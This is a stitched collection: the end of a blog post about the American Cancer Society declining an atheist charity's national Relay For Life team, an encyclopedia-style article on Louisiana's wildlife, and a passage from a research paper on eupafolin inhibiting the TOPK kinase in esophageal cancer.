Keep in mind, by the way, that Todd’s local group, the Triangle Freethought Society, raised over $23,000 during Relay For Life last year, more money than any other local group. This was someone who believed in what Relay For Life was doing and wanted to further the American Cancer Society’s cause. It’s a non-profit’s dream come true.
Finally, Todd heard back from someone. But it wasn’t from the national office. It was from a local Relay For Life leader in Raleigh, North Carolina, who got in touch with Todd, only coincidentally while all this stuff was going down, simply to meet him in person and thank him for his team’s efforts last year. Todd arranged to meet with her — and also mentioned how he was having some difficulties getting through to the ACS. He told her what had happened since he first contacted Bob. The lady was appalled and told Todd she’d get to the bottom of this.
Finally, after all this time, Bob sent an email to Todd. Todd asked why he hadn’t heard from him and inquired whether or not he should take his money elsewhere.
Bob explained the situation like this: The Relay for Life website was in the process of getting a major update, and some things with the organization were changing. For example — surprise! — they’re no longer allowing National Teams that are “non-corporate”… because of limited resources, the ACS decided to stop putting effort into non-corporate teams. So they had to decline the Foundation Beyond Belief group. Bob added that FBB teams were welcome to participate in events locally, but they would not be treated as a unified group.
Wait, says Todd. Let me get this straight. You don’t have enough resources to allocate to non-corporate groups… even when it might bring in $500,000?! You don’t need additional staff. You don’t need a new website. You just need to write one line of code in the drop-down menu!
(I’ll take a moment here, as someone who has worked with non-profit groups, to say that if a staffer ignored an offer of $500,000 from a donor because it involved 20 seconds of writing some code, that person would be fired on the spot.)
It seemed like all hope was lost. But Todd got in touch with Bob one more time because he had a few questions.
Their conversation happened earlier this week
Based on what I know of the story, here’s my imagined, scripted version of how the conversation went.
Todd: You said we couldn’t have a non-corporate National Team? Bob: Correct. Todd: Well, since Foundation Beyond Belief is a 501(c)(3) corporation, can we be part of the Corporate Team program? Bob: No. Todd: Why? Bob: You don’t meet the criteria. Todd: What criteria? Bob: You’re not a business. Todd: So? How does it hurt you to have a non-business corporate National Team? Bob: Umm… It’s our decision. We’re only going to have corporate partners. Todd: Ok, well, what about the Matching Challenge? Bob: If you want to give us money, that’d be fine. Todd: Fine?… Just fine? $500,000 is just FINE!? Bob: Yes. But we won’t be able to help you track the money your local teams collect. Todd: … even though you track the money for all the local groups anyway? Bob: Correct. Todd: Well, forget the corporate program. I see that you also allow National Youth Partners? Bob: Indeed! In fact, we’re looking forward to accelerating* that program! (*That’s the word Bob used.) Todd: Well, can we start a National Youth Partner team for the Secular Student Alliance or CFI – On Campus? Between them, they have hundreds of chapters. Bob: No… Todd: Why not? Bob: We’re not set up that way. In fact, we’re going to be de-emphasizing our National Youth Partners program when we revamp our website. Right….. NOW! Todd: But I’m looking at the drop-down menu on your revamped website. Sigma Alpha Lambda is one of your National Youth Partners and you list them under the banner of National Teams:
Bob: Umm… we haven’t updated that part of the site yet. Todd: Didn’t you just update everything on your site last week?
To summarize everything, Todd and Foundation Beyond Belief are able to run local teams and we can still do the Matching Challenge, but the American Cancer Society won’t recognize us nationally.
Todd did ask very bluntly if this was a publicity issue, about the ACS having a connection to a group of atheists. Bob insisted that wasn’t the case — in fact, they had supported LGBT teams in the past without hesitation.
So that’s where we’re at.
Todd’s frustrated. Those of us at the Foundation Beyond Belief are frustrated. The only people who don’t seem fazed by this are the people at the ACS.
It seems like they’d rather give up $500,000 because it’s raised by atheists… than do a minimal amount of work on their end, or make an exception that could benefit so many people, and give us a National Team to make it easier to mobilize our community to hit that goal.
For what it’s worth, the ACS did agree to provide support to our intern to help get teams organized and they offered to provide some promotion of the Matching Challenge… but it’s a far cry from what could have been. I have to wonder if a donor representing a large national Christian group would have been treated the same way.
I don’t know if anyone reading this has a connection to the ACS or Relay For Life, but I’d love to hear their response to this.
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Fauna of Louisiana
The fauna of the State of Louisiana is characterized by the region’s low swamplands, bayous, creeks, woodlands, coastal marshlands and beaches, and barrier islands covering an estimated 20,000 square miles (counting for 40 percent of Louisiana's total land area). Southern Louisiana contains up to fifty percent of the wetlands found in the Continental United States, and are made up of countless bayous and creeks.
The Creole State has a humid subtropical climate, perhaps the best example of a humid subtropical climate of all the Southern United States with long, humid and hot summers and short, mild winters. The subtropical characteristics of the state are due in large part to the influence of the Gulf of Mexico, which at its farthest point is no more than 200 miles away. Louisiana's varied habitats — tidal marshes, bayous, swamps, woodlands, islands, forests, and prairies — offer a diversity of wildlife.
Some of the most common animals found throughout all of the parishes include otter, deer, mink, muskrat, raccoons, opossums, rabbits, squirrels, nutria, turtles, alligators, woodcocks, skunks, foxes, beavers, civet cats, armadillos, coyotes and bobcats. Deer, squirrel, rabbit, and bear are hunted as game, while muskrat, snakes, nutria, mink, opossum, bobcat, and skunk are commercially significant for fur. Prized game birds include quail, turkey, woodcock, and various waterfowl, of which the mottled duck and wood duck are native. There are several endemic plants and animals in Louisiana that are found nowhere else on Earth; an example could be the Louisiana bluestar or the white leucistic alligator. The Pearl river map turtle and the Ringed map turtle are only found in Louisiana and neighboring State of Mississippi.
Louisiana contains a number of areas which are, in varying degrees, protected from human intervention. In addition to National Park Service sites and areas and the Kisatchie National Forest, Louisiana operates a system of state parks, state historic sites, one state preservation area, one state forest, and many Wildlife Management Areas. The Nature Conservancy also owns and manages a set of natural areas.
State ecology
Much of the state's lands were formed from sediment washed down the Mississippi River, leaving enormous deltas and vast areas of coastal marsh and swamp. The northern parts of Louisiana mostly consist of woodlands which are home to deer, squirrels, rabbits, bears, muskrats, mink, opossums, bobcats, and skunks. Louisiana's forests offer a mix of oak, pine, beech, black walnut, and cypress trees. In the Piney Woods in the Ark-La-Tex-region, Mammals such as the North American cougar, gray fox, feral hogs (razorback), and snakes such as the western cottonmouth, the western worm snake, the Louisiana pine snake, as well as other animals are common.
Louisiana’s largest forest, the Kisatchie National Forest in the forested hills of Central Louisiana, has 155 species of breeding birds, 48 mammal species, 56 reptile species and 30 amphibian species. It is some 600,000 acres in area, more than half of which is vital flatwoods vegetation, which supports many rare plant and animal species. These include for instance the Louisiana pine snake, the red-cockaded woodpecker, the Louisiana black bear and the Louisiana pearlshell.
Alligators are common in Louisiana's extensive swamps, bogs, creeks, lakes, rivers, wetlands, and bayous. Other water-loving reptiles such as the alligator snapping turtle live in the Louisiana swamps. The alligator snapping turtle is characterized by a very large head and three rows of spiked scutes. These wetlands of Louisiana make ideal homes for several species of turtles, crawfish and catfish - all of which are popular Acadian foods.
Jambalaya, a Louisiana Creole dish that originated among the Cajuns in Acadiana, is made entirely by all sorts of meat found in the swampland of southern Louisiana: crawfish, herons, shellfish, catfish, toads, frogs, shrimp, oysters, alligator, duck, turtle, boar, venison, and myriad other species. Among invasive species that thrive in the wetlands of Louisiana is the nutria, a South American rodent that was likely introduced when individual animals escaped from fur farms.
Mammals
Forty species of mammals reside in Louisiana, excluding marine mammals. Seventy mammal species have been recorded in Louisiana or its immediate
adjacent waters. Louisiana has for instance two species of squirrels: gray squirrels and fox squirrels, according to the Louisiana Department of Wildlife and Fisheries.
Louisiana has two species of rabbits: eastern cottontails and swamp rabbits. Although the cottontail is considered more of an upland species and the swamp rabbit a wetland species, both species occur throughout the state. Rabbits have high productive rates in Louisiana when habitat and weather conditions are good.
Louisiana black bear
The Louisiana black bear once ranged throughout the State of Louisiana and parts of adjacent neighboring Mississippi, Arkansas, and Texas. The black bear was common at the time of early colonization, serving as food for Native Americans for generations.
An 1890 record shows 17 parishes containing bears, all of them by the Mississippi-border and the Atchafalaya region. It was reported that the most extensive areas of bottomland hardwoods in the state have “at least a few bears”, with the greatest number found in the denser woodlands along the Tensas, Red, Black, and Atchafalaya Rivers. In the late 1950s, bears occupied habitat in the Tensas-Madison area in northeast Louisiana and in the lower fringes of the Atchafalaya Basin.
Today, black bears can be found in all of Louisiana, but according to the Louisiana Department of Wildlife and Fisheries, most black bears are observed in a confined region made up of the following parishes: West- and East Carroll, Richland, Franklin, Madison, Tensas, Catahoula, Concordia, Avoyelles, Pointe Coupee, St. Landry, Vermilion, Iberia, as well as both St. Martin and St. Mary.
Black bear could be legally hunted in parts of Louisiana through the late 1980s. One of the last organized bear hunts in Louisiana occurred December 15, 1955. During this hunt, five bears were harvested in the Lake Providence area. It was recommended to the Wildlife Commission that the bear season be closed. Bear hunting was closed the following season and remained closed until 1961. The season was opened again from 1962-1965 with hunting permitted only in northeast Louisiana and in the coastal parishes. The hunting season was again closed from 1966 to 1974. It was reopened in 1975-1987 with hunting restricted to the Atchafalaya Basin.
The Louisiana bear hunting season has remained closed since 1988. From 1964 through 1967, 161 black bears were live-trapped in Cook County, Minnesota and released in the Mississippi and Atchafalaya River bottoms of Louisiana in an effort to restock black bear to the state. By 1968 there was evidence that the translocated bears were reproducing. However, most of the relocated bears were killed on roads, as nuisance animals, or during recapture.
As of 2016, Louisiana black bears are no longer endangered.
Reptiles
The American alligator is the official state reptile of Louisiana. Perhaps the most iconic of Louisiana wetlands' animals, the American alligator has bounced back from near extinction to being relatively commonplace. An abundance of snake species make their home in Louisiana, including the eastern diamondback rattlesnake, Texas coral snake, eastern yellowbelly racer, mud snake, western pigmy rattlesnake, northern scarlet snake, rainbow snake, buttermilk racer, tan racer, western cottonmouth, red cornsnake, pit vipers and kingsnake.
America's largest freshwater turtle, the alligator snapping turtle, shares the habitat with its cousin, the common snapping turtle. The green American chameleon also lives in the wetlands, along with the lizard-like tiger salamander, which is an amphibian. Other examples of reptiles in Louisiana are the gopher tortoise, razor-backed musk turtle, broad-headed skink, coal skink and the slender glass lizard.
According to the Louisiana Alligator Council, there are over one million alligators in the state in 2014 and the number is continuously increasing. Alligators like swamps, rivers, lakes or wherever they can have an adequate habitat. Louisiana has several varieties of venomous snakes. The eastern coral snake, Texas coral snake, copperhead, western cottonmouth, western pygmy rattlesnake, and the eastern diamondback rattlesnake and canebrake rattlesnake can all be found in Louisiana.
The largest reported American alligator was a male killed in 1890 on Marsh Island in Louisiana, and reportedly measured at .
Birds
Approximately 160 species of birds are year-round residents or probable confirmed breeders in Louisiana and another 244 are known to regularly migrate through or winter in the state or its immediate adjacent waters. There are 69 species on the CWCS species of conservation concern list of which 42 species are considered critically threatened, imperiled or rare, according to the Louisiana Natural Heritage Program. Shorebirds and songbirds constitute the majority of species. In 1902, the eastern brown pelican was made a part of the Seal of Louisiana and, ten years later, in 1912, the pelican and her young adorned the flag of Louisiana as well. The official nickname of Louisiana is the Pelican State.
In 1958, the pelican was made the official state bird of Louisiana. This act was amended on July 26, 1966 to specifically designate the brown pelican, the National Basketball Association's New Orleans Pelicans are named in honor of Louisiana's state bird. The eastern brown pelican is also the national bird of Barbados and the Turks and Caicos Islands, it is also one of the mascots of Tulane University and is on the seals of Tulane University, Louisiana State University and the University of Louisiana at Lafayette.
Shore birds are abundant in Louisiana and the most common is the great white egret. This large, all-white heron has an impressive wingspan and stature. The egret occurs often in the wetlands of Louisiana and coastal areas that provides it with plenty of fish, amphibians and small mammals to feast on. This bird is also the official symbol of the National Audubon Society.
The American bald eagle nests in southeastern coastal parishes and, occasionally on large lakes in northern and central parishes, but these nests are less successful. Some of America's tallest birds, such as the great blue heron and great egret, cannot resist the fishing opportunities that exist in the Louisiana swampland. Raptors such as the osprey, American black vulture and barred owl live in the marshes of southern Louisiana. Migratory waterfowl and songbirds often make stopovers or actually spend the winter in these wetlands.
Amphibians
The American green tree frog was designated the official state amphibian of Louisiana in 1993. Examples of other amphibians in Louisiana are salamanders such as the eastern tiger salamander, southern red-backed salamander, Gulf Coast waterdog, dwarf salamander and the three-toed amphiuma. There are also toads such as Hurter's spadefoot toad and southern toad, as well as frogs such as pig frog, striped chorus frog and the bronze frog. American bullfrogs are the largest frogs native to Louisiana.
Fish
The white perch, sometimes called sac au lait from Cajun French, was designated the official state fish of Louisiana in 1993. Coastal beaches are inhabited by sea turtles, and whales are often seen from offshore. Freshwater fish include bass, crappie, and bream. Red and white crawfishes are the leading commercial crustaceans.
Many sharks have been observed in Louisiana waters; including, but not limited to lemon sharks, tiger sharks, bull sharks and blacktip sharks. The sharks, for instance the bull shark, have often been observed throughout the Atchafalaya Basin, 900 miles up the Mississippi River, and in inland bayous and wetlands. The alligator gar and the frecklebelly madtom, which is native to Pearl River in Southeastern Louisiana, are two additional species of fish in Louisiana.
The bowfin, known by many other names such as the mudfish, dogfish, grinnel, grindel, jack, jackfish, cypress trout, cotton fish, and in South Louisiana; choupique (pronounced shoe-pick or shoe-peg), or chew-pic, is found in many areas of Louisiana.
Endangered species
Threatened animal species include five species of sea turtles: green, hawksbill, Kemp's ridley, leatherback, and loggerhead). Twenty-three Louisiana animal species were on the U.S. Fish and Wildlife Service's threatened and endangered species list for 2003. Among those listed are the Louisiana black bear, American bald eagle, Inflated heelsplitter, and red-cockaded woodpecker. The Louisiana WAP identifies 240 species of concern. The mountain lion population in Louisiana is small but growing in recent times. There is a relatively small and threatened population of Louisiana black bears.
The historic range of the Florida panther extended from Florida to Louisiana throughout the Gulf Coast states and Arkansas. Today, the only place with wild Florida panthers is the southwestern tip of Florida. The Florida panther is considered of historical occurrence in Louisiana. The historic range included as far west as Western Louisiana and the East Lower Mississippi River Valley through the southeastern states. Even though numerous sighting reports continue to surface annually throughout its historic range, it is unlikely that viable populations of the Florida panther presently occur outside of the State of Florida.
The Louisiana Black Bear has been taken off the endangered species list.
Mississippi diamondback terrapin is recognized as a “species of concern” in Louisiana, but is found on the Mississippi-border.
Invasive species
Coypu
Tabasco tycoon and naturalist Edward McIlhenny brought thirteen adult coypu from Argentina to his home in New Iberia, during the 1930s, for the fur farming industry. Two years later, one hundred and fifty got out of the pen, supposedly escaping during a storm. The nutria reproduced at a high rate, increasing by the thousands every year. By the 1960s the number ranged to as high as twenty million, and increasing. By the time the government instituted a control program, the coypu was destroying Louisiana marshes and wetlands, causing widespread erosion. In the 21st century, the coypu is one of the most common and despised pests in the Bayou State.
The story of the nutria is not unique. Many species of birds, mammals, fish, and plants have been introduced into the Louisiana environment in the past two centuries. Exotic species, or species that have been introduced to areas outside their native range, take heavy tolls on the ecosystems they colonize. Some invaders, such as the leafy vine kudzu (Pueria lobelia), destroy the habitat for resident wildlife. Other species fiercely compete with native plants and animals for resources.
By some estimates, exotic species pose the second most serious threat to endangered species after habitat loss. Nutria were introduced into coastal marshes from Latin America in the mid-1900s, and their population has since exploded into the millions. They cause serious damage to coastal marshes and may dig burrows in levees. Hence, Louisiana has had a bounty to try to reduce nutria numbers.
Large alligators feed heavily on nutria, so alligators may not only control nutria populations in Louisiana, but also prevent them spreading east into Florida and possibly the Everglades. Since hunting and trapping preferentially take the large alligators that are the most important in eating nutria, some changes in harvesting may be needed to capitalize on their ability to control nutria.
Monk parakeet
An agricultural pest in its native South American range, the monk parakeet was first brought to the U.S. as a cage bird. They were so popular that over 60,000 were imported between 1969 and 1972. By the 1980s it had already been released in many parts of the country and had established small breeding colonies. Twenty years later, monk parakeet numbers have increased exponentially but their distribution remains spotty.
Monk parakeets tend to be restricted to urban areas where they feed and nest in ornamental palm trees, occupying a niche that no indigenous bird holds. So far, their distribution in Louisiana has been limited almost exclusively to the City of New Orleans, where they have had no adverse effects on local wildlife. If their numbers increase, however, monk parakeets could pose a serious threat to agricultural areas, possibly becoming as much of a pest here as they already are in their native range.
Red Fire Ant
Because of its tropical climate and its proximity to Mexico and Central America, Louisiana is able to support many invasive species that cannot survive elsewhere in the U.S. One such example is the red fire ant. Native to South America, the red fire ant has flourished in many southern U.S. states since its introduction in the 1930s. Superficially similar to most other ants, the fire ant is a vicious predator, attacking birds, rodents, and larger mammals in swarms.
One study of white-tailed deer found that death rates for young deer were twice as high in areas with fire ants as in uninfested areas. In Louisiana, the spread of fire ants has been linked to the decline of the loggerhead shrike and some species of warblers. The red fire ant has replaced nearly half the native insect species in some areas it has colonised.
See also
Fauna of the United States
References
F01
.L |
Introduction {#s1}
============
T-LAK cell-originated protein kinase (TOPK) is a serine-threonine kinase, which is a member of MAPKK family. TOPK is also related with the mitotic spindle to the centromere. The studies showed that over-expression of TOPK leads to characteristic of cancerous cell, creating aneuploidy cells in transformed cells JB6 C141 cells ([@B26]). TOPK was highly expressed in several malignancies and promoted tumorigenesis and progression ([@B7]; [@B24]). Therefore, TOPK might be an excellent drug target for cancer chemotherapy.
It is necessary to find TOPK inhibitors with low toxicity to overcome the side-effect of current TOPK inhibitors ([@B16]; [@B9]). There were several small molecule compounds from Chinese herbal medicine reported to be an inhibitor of TOPK to reduce the proliferation of tumor cells ([@B4]; [@B22]). However, the study of inhibiting TOPK in esophageal cancer has not been reported, although TOPK was highly expressed in esophageal cancer.
In our study, we found that eupafolin can block TOPK and inhibit TOPK kinase activity.
Materials and Methods {#s2}
=====================
Reagents and Antibodies {#s2_1}
-----------------------
Eupafolin or 6-methoxyluteolin was extracted from Ay Tsao (*Artemisia vulgaris* L.). The plant material was purchased from Anyang Jiutou Xian Ai Co. Ltd. (Anyang, China). Air-dried plant material (3.0 kg) of Ay Tsao was extracted with 95% ethanol under reflux three times, for 2 h for each time. The extract was concentrated in rotary vacuum evaporator to give a residue (23.5 g). The residue was dissolved in H~2~O and then extracted successfully with petroleum ether (2 L), EtOAC (2 L), and n-BuOH (each 2 L). The active EtOAC fraction (15.7 g) was subjected in to silica column chromatography to (200--300 mesh) and eluted with petroleum ether/EtOAc (90:10, 80:20, 50:50, 25:75) and followed by CHCl3/MeOH in a stepwise gradient (90:10, 80:20, 70:30, 60:40, 0:100) to obtain eight fractions (fr.1−8) on the basis of TLC profiles. Fraction 3 (1.785 g) was further chromatographed on Sephadex LH-20 eluted with (CHCl3/MeOH 1:1) to furnish four sub-fractions, designated as fr.3--1 to 3--4. Fr.3--2 (265.2 mg) was further purified by preparatory TLC to obtained pure compound 6-methoxyluteolin (14.8 mg).
HI-TOPK-032 was purchased from National Institutes of Health (NIH). Recombinant active TOPK and inactive TOPK were purchased from Millipore (Billerica, MA). The CNBr-Sepharose 4B was purchased from GE Healthcare (Pittsburgh, PA). Antibodies to detect β-actin, p-histone H3, histone H3, and cleaved caspase-3 were from Cell Signaling Technology (Danvers, MA).
Cell Culture and Cytotoxicity Assay {#s2_2}
-----------------------------------
The cells were purchased from American Type Culture Collection. They were cultured at 37°C in a 5% CO2 incubator using DMEM medium containing 10% fetal calf serum. Cells were planted in 96 well plant and treated with different doses of eupafolin. The cytotoxicity of eupafolin was measured using 3-(4,5-Dimethylthiazol2-yl)-5-(3-carboxymethoxyphenyl)-2H-tetrazdium (MTS) Assay Kit (Promega, Madison, WI) according to the manufacturer's instructions.
Soft Agar Assay {#s2_3}
---------------
The cell lines (8 × 10^3^/well) were suspended in a six-well plate were exposed or not exposed to EGF (20 ng/ml) and cultured in 1 ml of 0.3% Basal Medium Eagle Agar Medium (Sigma--Aldrich Corp.) containing 10% FBS over 3 ml of 0.5% BME agar containing 10% FBS. The cells were maintained about 5--10 days in a 37°C and 5% CO2 incubator, and then, their colonies were counted by microscopy.
Molecular Docking Model {#s2_4}
-----------------------
To estimate the interaction mode of TOPK and eupafolin, a TOPK structure was modeled and subsequent induced-fit docking was applied. Three-dimensional protein model of TOPK (5j0a) was downloaded from the Protein Data Bank (PDB). Among those with the highest sequence identity (30%) with TOPK, structures of 4L52, 2EVA, and 4GS6 (PDB entries) were protein-ligand complex, thus suitable for the modeling of the TOPK and eupafolin complex. The sequence of TOPK and the four templates, 4L52, 2EVA, 4GS6 and 2F4J, were aligned using SYBYL-X 2.0 server with the default parameters.
Microscale Thermophoresis (MST) {#s2_5}
-------------------------------
Inactive TOPK protein was labeled with the Monolith NT^™^ Protein Labeling Kit RED (Cat\#L001) according to the supplied labeling protocol. The TOPK proteins were diluted in a 20 mM HEPES (pH 7.4) and 0.05 (v/v) % Tween-20 to 50 nM. The eupafolin stock was dissolved in ddH~2~O in a concentration of 5 mM. We used 5 mM eupafolin as the highest concentration for the serial dilution. After 10 min incubation at room temperature, the samples were loaded into Monolith^™^ standard-treated capillaries, and the thermophoresis was measured at 25°C after 30 min incubation on a Monolith NT.115 instrument (NanoTemper Technologies, München, Germany). Laser power was set to 20% or 40% using 30 s on time. The LED power was set to 100%. The dissociation constant Kd values were fitted by using the NTAnalysis Software (NanoTemper Technologies, München, Germany) ([@B23]).
*In Vitro* Beads Binding Assay {#s2_6}
------------------------------
KYSE450 cell lysates (1 mg) were incubated with eupafolin-Sepharose 4B beads in the reaction buffer \[5 mM ethylenediaminetet acid, 150 mM NaCl, 50 mM Tris (pH 7.5), 1 mM dithiothreitol, 2 µg/ml bovine serum albumin, 0.01% Nonidet P-40, 1 µg/ml protease inhibitor mixture, and 0.02 mM phenylmethylsulfonyl fluoride\]. After incubation with gentle rocking overnight at 4°C, the beads were washed five times, and proteins bound to the beads were detected by western blotting.
Protein Expression and Purification of the GST-Histone H3 {#s2_7}
---------------------------------------------------------
The human GST-histone H3 fusion protein was expressed in *Escherichia coli* BL21 bacteria. The bacteria were grown at 37°C to an absorbance of 0.8--0.9 at 600 nm, induced with 0.5 mM isopropyl-β-D-thiogalactopyranoside (IPTG) 2--3 h at 37°C, and then harvested by centrifugation. The cell pellets were suspended in phosphate buffered saline (PBS). After sonication and centrifugation, the supernatant fraction was incubated with Glutathione-Sepharose beads (GE, USA) overnight at 4°C. The beads were washed with PBS and then eluted with 50 mM glutathione. After protein quantitation, the samples were separated by a 10% SDS-PAGE and visualized by Coomassie brilliant blue staining.
*In Vitro* Kinase Assay {#s2_8}
-----------------------
The TOPK active kinase (0.2 μg) and inactive GST- histone H3 substrate (2 μg) were incubated at 32°C for 40 min in 1×kinase buffer (25 mM Tris-HCl pH 7.5, 5 mM beta- glycerophosphate, 2 mM dithiothreitol, 0.1 mM Na3VO4, 10 mM MgCl2, and 5 mM MnCl~2~) containing 100 μM ATP. The samples were added with 5×SDS buffer and detected by western blot.
Western Blot {#s2_9}
------------
The cells were harvested with 300 μl of RIPA buffer and sonicated 15 s for three times and centrifuged at 13,000 rpm for 10 min. Then the quantity of protein was determined by the BCA method. The samples (30 μg) with 5×SDS loading buffer were heated at 95°C for 10 min and then separated on a 10%-15% SDS-PAGE and subsequently transferred onto a PVDF membrane, then the membrane was blocked with 5% milk for 1 h and added into special primary antibody at 4°C overnight. Then, the membrane was washed 5 min for three times, and added secondary antibody was labeled with HRP. The membrane was detected by chemiluminescence.
Patient-Derived Xenograft (PDX) Mouse Model {#s2_10}
-------------------------------------------
Esophageal cancer (Anyang Tumor Hospital) fragments (2--3 mm) were implanted into the immune deficient (SCID) mice. Mice were divided into three groups: control group and two eupafolin-treated (20 or 50 mg/kg) groups. Five days after tumor implantation, mice were treated with control (0.9% saline) or eupafolin by i.p. injection three times a week for 35 days. Body weight and tumor volume were measured once a week, tumor volume was calculated using the formula, tumor volume = length×width×height×0.5. Tumor tissues and peritumoral tissues were embedded in a paraffin block and stained by immunohistochemistry. This study was approved under a protocol approved by the Anyang Institute of Technology (Anyang, Henan, China).
Immunohistochemistry Staining {#s2_11}
-----------------------------
Then, the sections were incubated at 4°C overnight with an antibody against histone H3 and cleaved caspase-3 (diluted 1:200). Then, sections were washed in phosphate-buffered saline (PBS) and incubated with the secondary antibody (biotinylated goat anti-rabbit, 1:200; Vector Laboratories, Burlingame, CA) for 30 min. The sections were counterstained with hematoxylin after diaminobenzidine staining. Photomicrographs were taken with a digital camera. The positively stained cells within each photomicrograph were counted.
Caspase-3 Activity Assay {#s2_12}
------------------------
Caspase-3 activity in the tumor and peritumoral tissues was determined by a Caspase-3 Activity Assay Kit (BioVision K106; BioVision, Milpitas, CA, USA) according to the manufacturer's instructions. Tissues were ground and then incubated with cold lysis buffer on ice for 15 min. The lysed tissues were centrifuged for 10 min at 16,000 g at 4°C; then, the supernatants were collected, and the protein concentrations were calculated. The supernatants were transferred to a 96-well plate containing detection buffer, and Ac-DEVD-pNA was added. After incubation at 37°C for 2 h, absorbance was measured at 405 nm with a microplate reader (Thermo Fisher Scientific). The caspase-3 activity of each sample was calculated according to the standard curve and normalized to the protein concentration.
Statistical Analysis {#s2_13}
--------------------
All quantitative data are expressed as mean values ± standard deviation, and significant differences were determined by Student's t test or by one-way ANOVA. P \< 0.05 was used as the criterion for statistical significance.
Ethics Statement {#s2_14}
----------------
Primary tumor samples of ESCC were obtained from 10 consecutive patients with ESCC who had undergone curative esophagostomy at the Division of Digestive Surgery, Department of Surgery, Anyang Tumor Hospital (Anyang, China), between 2017 and 2019. Written consent was always obtained in the formal style and after approval by the local Ethics Committee. None of these patients had undergone endoscopic mucosal resection, palliative resection, preoperative chemotherapy, or radiotherapy, and none of them had synchronous or metachronous multiple cancer in other organs. The animal study was reviewed and approved by Henan Joint International Research Laboratory of Veterinary Biologics Research and Application, Anyang Institute of Technology.
Results {#s3}
=======
Eupafolin Binds With TOPK and Inhibits TOPK Activity {#s3_1}
----------------------------------------------------
To estimate whether eupafolin binds to TOPK, the homology modeling and subsequent molecular docking method were applied. The binding model generated by docking simulation indicated that the compound eupafolin was positioned at the hydrophobic pocket of TOPK, surrounded by the residues Tyr-271, Lys-65, Glu-210, Thr-209, and Gly-208, forming a stable hydrophobic binding ([**Figure 1A**](#f1){ref-type="fig"}). To further evaluate this binding model, the MST method can quantify protein and small molecule interactions with high sensitivity and low sample cost by detecting fluorescent changes of molecules during thermophoresis. We detected the binding affinity between several nature compounds and TOPK using this technology. The results showed that the eupafolin had the lowest equilibrium dissociation constant (Kd) of 21.3 ± 2.1 µM ([**Figure 1B**](#f1){ref-type="fig"}, [**Table 1**](#T1){ref-type="table"}), which meant the strongest binding between the eupafolin and TOPK.
{#f1}
######
Binding affinity and inhibitory activities of screening hits.
Compound ICM docking mf score[^a^](#fnT1_1){ref-type="table-fn"} Dissociation constant with TOPK Inhibitory activities against KYSE 450 cells
------------ --------------------------------------------------------- --------------------------------- ----------------------------------------------
Jaceosidin −87.11 674 ± 12.2 n.i[^c^](#fnT1_3){ref-type="table-fn"}
Bergenin −146 438 ± 9.5 n.i[^c^](#fnT1_3){ref-type="table-fn"}
Eupafolin −125 21.3 ± 2.1 145.2
Apigenin −89.27 384 ± 47.6 n.i[^c^](#fnT1_3){ref-type="table-fn"}
Docking score/interaction potential of compounds with TOPK (kcal/mol).
The Kd value is automatic calculated by the curve fitting, and presents as means ± SD.
n.i. is no inhibition detected in the experiments.
To validate the veracity of the MST method, we employed the *in vitro* beads binding assay to analyze the binding between eupafolin and TOPK in esophageal adenocarcinoma KYSE450 cell lysates which has high expression of TOPK. No obvious band representing TOPK was observed in the beads without eupafolin group, whereas a strong band was seen in eupafolin-conjugated beads group ([**Figure 1C**](#f1){ref-type="fig"}).
The above results implied that eupafolin might inhibit the TOPK activity. To confirm this hypothesis, we performed an *in vitro* kinase assay with inactive GST-histone H3 as the substrate with active TOPK in the presence of 25, 50, and 100 µM of eupafolin and 10 nM ATP. The results showed that phosphorylation of histone H3 (Ser10) was substantially attenuated in a dose-dependent manner after treatment with eupafolin ([**Figure 1D**](#f1){ref-type="fig"}). HI-TOPK-032, a TOPK inhibitor, was used as a positive control ([@B11]).
Eupafolin Inhibits EGF-Induced Neoplastic Transformation and Signal Transduction in JB6 Cl41Cells {#s3_2}
-------------------------------------------------------------------------------------------------
The molecular structure of eupafolin was shown in [**Figure 2A**](#f2){ref-type="fig"}. In the present study, we first examined the cytotoxicity of eupafolin in JB6 Cl41 cells by MTS assay. The results indicated that eupafolin did not decrease the viability of JB6 Cl41 cells up to 100 µM at 24 h ([**Figure 2B**](#f2){ref-type="fig"}). Furthermore, we detected the effect of eupafolin on EGF-induced neoplastic transformation of JB6 Cl41 cells. Anchorage-independent growth ability is an *ex vivo* indicator and a key characteristic of the transformed cell phenotype ([@B5]). Treatment of JB6 Cl41 cells with eupafolin significantly inhibited EGF induced neoplastic transformation in a dose-dependent manner ([**Figure 2C**](#f2){ref-type="fig"}). Eupafolin at 20, 50, or 100 µM decreased 42, 57, or 81% compared to the control group, respectively. These results suggested that eupafolin can reduce the malignant potential of JB6 Cl41 cells induced by EGF.
{#f2}
In the above study, we have found that TOPK is a potential target of eupafolin, and we further detected the downstream signal pathway of TOPK in JB6C141 cells. Western blot results showed that eupafolin suppressed the phosphorylation of histone H3 in a dose- and time-dependent manner, and 2 µM TOPK inhibitor HI-TOPK-032 has the similar effect to 50 or 100 µM eupafolin ([**Figures 2D, E**](#f2){ref-type="fig"}).
Eupafolin Inhibits Anchorage-Independent Growth of Esophagus Cancer Cells {#s3_3}
-------------------------------------------------------------------------
Previous studies revealed that TOPK is highly expressed in human esophagus cancer ([@B17]). We attempted to determine whether eupafolin could affect anchorage-independent growth of esophagus cancer cells. We detected the TOPK expression in several esophagus cancer cell lines. We found that TOPK expression was high, medium, and low in three kinds of esophageal carcinoma cells KYSE450, KYSE510, and KYSE70, respectively. At the same time, the trend of p-histone H3 expression was consistent with that of TOPK ([**Figure 3A**](#f3){ref-type="fig"}). Besides, we determine the cytotoxicity of eupafolin by MTS assay. Different concentrations of the drug were used to treat esophagus cancer cell lines KYSE450, KYSE510, and KYSE70 for 48 h, respectively. The results indicated that eupafolin had different cytotoxicity toward different esophagus cancer cells. KYSE450 cells with high TOPK expression were more sensitive to eupafolin ([**Figure 3B**](#f3){ref-type="fig"}). What's more, neoplastic transformation results showed that eupafolin at 20, 50, and 100 µM inhibited colony formation of KYSE450 cells on 21, 63, and 82%; KYSE510 cells on 12, 35, and 52%; and KYSE70 on 8, 12, and 10% compared with the non-treated cells, respectively ([**Figures 3C--E**](#f3){ref-type="fig"}). Overall, our results suggested that inhibitory effect of eupafolin on colony formation was significant in KYSE450 cells with a high expression level of TOPK.
{#f3}
Knocking Down TOPK in KYSE450 Cells Decreased the Sensitivity of Eupafolin {#s3_4}
--------------------------------------------------------------------------
